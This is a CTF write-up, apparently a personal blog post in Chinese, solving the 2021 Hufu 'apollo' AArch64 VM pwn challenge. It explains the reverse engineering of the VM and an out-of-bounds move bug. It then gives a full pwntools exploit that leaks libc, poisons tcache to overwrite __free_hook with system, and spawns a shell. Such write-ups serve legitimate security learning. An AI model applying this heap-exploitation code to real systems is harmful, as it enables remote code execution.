2021虎符-PWN-apollo题解
2021-04-04
这次比赛又爆零了,本来这道题是能够做出来的,就是因为大量时间花在的逆向分析上。一开始拿IDA反汇编,生成的伪代码程序逻辑都读不懂,然后开始直接看汇编了。后来试了一下ghidra
效果好很多,能分析完这道题vm,就已经来不及了。平时应该多练练非x86
或i386
架构的题。
ghidra
和IDA
生成的伪代码的对比图(IDA里的那行BR X0
完全不知道跳哪去):
题目分析
main
函数执行一些初始化操作后就读入了长度为0x1000
的虚拟机的字节码,然后开始运行,即上图的jump
函数。将输入的字符通过op_table
查找对应的jump_table
的编号进行跳转。op_table
如图:
jump_table
12个函数:
startrun
开始运行,有长宽两个参数,会先后通过calloc
创建flag_table
和time_table
。
add/free/print comment
我的理解是给一个格子添加或删除上一个注释?
addcomment
有三个参数,分别是格子的坐标和要开辟空间的大小。然后内容是之后通过read
函数读入的。flag_table
的对应位置是改为1,并把malloc
出来的空间存到comment_ptr_array
里。freecomment
两个参数为坐标。会free
对应的空间,同时指针清理,没有UAF。printcomment
会把当前存在的所有comment通过puts
函数输出。
set/clear flag
setflag
会把flag_table
对应位置的flag
设置为2~4的指定值clearflag
会把对应位置设为0
up/down/left/right
拿up
函数举例,其它方向同理。先看当前位置是否在顶部,然后判断上方格子的flag
是否为0或2或3,若为0则向上移一格,为2或3则向上移两格。但是此处移两个可能会导致越界。
同时移动后会在time_table
上记录下当前的步骤数。可以配合越界,到达在其它区块上写入的效果。
nop/finish
finish
输出finish并退出nop
跳过该机器码
利用思路
题目给的是2.27-3ubuntu1
的glibc。思路如下:
- 先开一个较大的空间将其放入bins中,再开
0x10
的大小通过利用read
函数不会在结尾加上\0的特性泄露出libc的偏移 - 再开一个
0x60
的空间,再通过移动的越界将0x10
的区块的size
改成0x91
即将上面的0x60
区块完全覆盖 - 释放
0x60
的区块,进入tcache
- 释放并重新申请刚才改过大小的区块,通过溢出将
0x60
的区块的next
指针改成__free_hook
的地址 - 重新开两个
0x60
的空间,第二个就会在__free_hook
,写入system
函数的地址 - 释放一个内容为
/bin/sh
的区块
Exploit
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
context.log_level='debug'
context.binary='./apollo'
DEBUG=1
IDA=0
choice_array=[
10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
1, 3, 11, 4, 11, 2, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 0, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 7, 11,
11, 8, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 9,
11, 11, 6, 11, 11, 11, 5, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]
if DEBUG:
if IDA:
p=process(['qemu-aarch64','-L','./','-g','23948','apollo'])
else:
p=process(['qemu-aarch64','-L','./','apollo'])
else:
p=remote('8.140.179.11',13422)
elf=ELF('apollo')
libc=ELF('./lib/libc.so.6')
ida=IDAManage('192.168.138.1',9945,isWork=IDA)
ida.attachAndContinue()
def sendAndWait(c):
def s(p):
if IDA:
input()
else:
sleep(0.2)
p.send(c)
return s
class VM:
todo=[]
ops=[]
def start(self,h,w):
assert w>3 and w<0x11
assert h>3 and h<0x11
self.ops.append(choice_array.index(0))
self.ops.append(h)
self.ops.append(w)
return self
def addcomment(self,y,x,size,content):
assert size<0x601
self.ops.append(choice_array.index(1))
self.ops.append(y)
self.ops.append(x)
self.ops.append(size&0xff)
self.ops.append(size>>8)
if isinstance(content,(str,bytes)):
self.todo.append(sendAndWait(content))
else:
self.todo.append(content)
def freecomment(self,y,x):
self.ops.append(choice_array.index(2))
self.ops.append(y)
self.ops.append(x)
def setflag(self,y,x,flag):
assert flag>1 and flag<5
self.ops.append(choice_array.index(3))
self.ops.append(y)
self.ops.append(x)
self.ops.append(flag)
def clearflag(self,y,x):
self.ops.append(choice_array.index(4))
self.ops.append(y)
self.ops.append(x)
def up(self):
self.ops.append(choice_array.index(5))
def down(self):
self.ops.append(choice_array.index(6))
def left(self):
self.ops.append(choice_array.index(7))
def right(self):
self.ops.append(choice_array.index(8))
def print_comment(self,fun=None):
self.ops.append(choice_array.index(9))
if fun!=None:
self.todo.append(fun)
def finish(self):
self.ops.append(choice_array.index(10))
def nop(self):
self.ops.append(choice_array.index(11))
def build(self):
return bytes(self.ops)
def send(self,p):
p.sendafter('> ',self.build())
for i in self.todo:
i(p)
vm=VM()
vm.start(5,0x10)
for _ in range(8):
vm.right()
vm.down()
vm.down()
vm.down()
vm.addcomment(1,0,0x4f0,'richar')
vm.addcomment(1,3,0x10,b'/bin/sh\0')
vm.freecomment(1,0)
vm.addcomment(1,0,0x10,'a'*9)
def getLibcBase(p):
p.recvuntil('a'*9)
addr=u64((b'\0'+p.recvuntil('\npos',True)).ljust(8,b'\0'))-0x154f00
libc.address=addr
log.info('LIBC: '+hex(addr))
vm.print_comment(getLibcBase)
for _ in range((0x90-10)//2):
vm.up()
vm.down()
vm.setflag(4,0x8,3)
vm.down()
vm.addcomment(1,2,0x60,'richar')
vm.freecomment(1,2)
vm.freecomment(1,0)
vm.addcomment(1,0,0x80,lambda p: sendAndWait(flat(0,0,0,0x71,libc.sym['__free_hook']))(p))
vm.addcomment(1,2,0x60,'richar')
vm.addcomment(2,2,0x60,lambda p: sendAndWait(flat(libc.sym['system']))(p))
vm.freecomment(1,3)
vm.send(p)
p.interactive()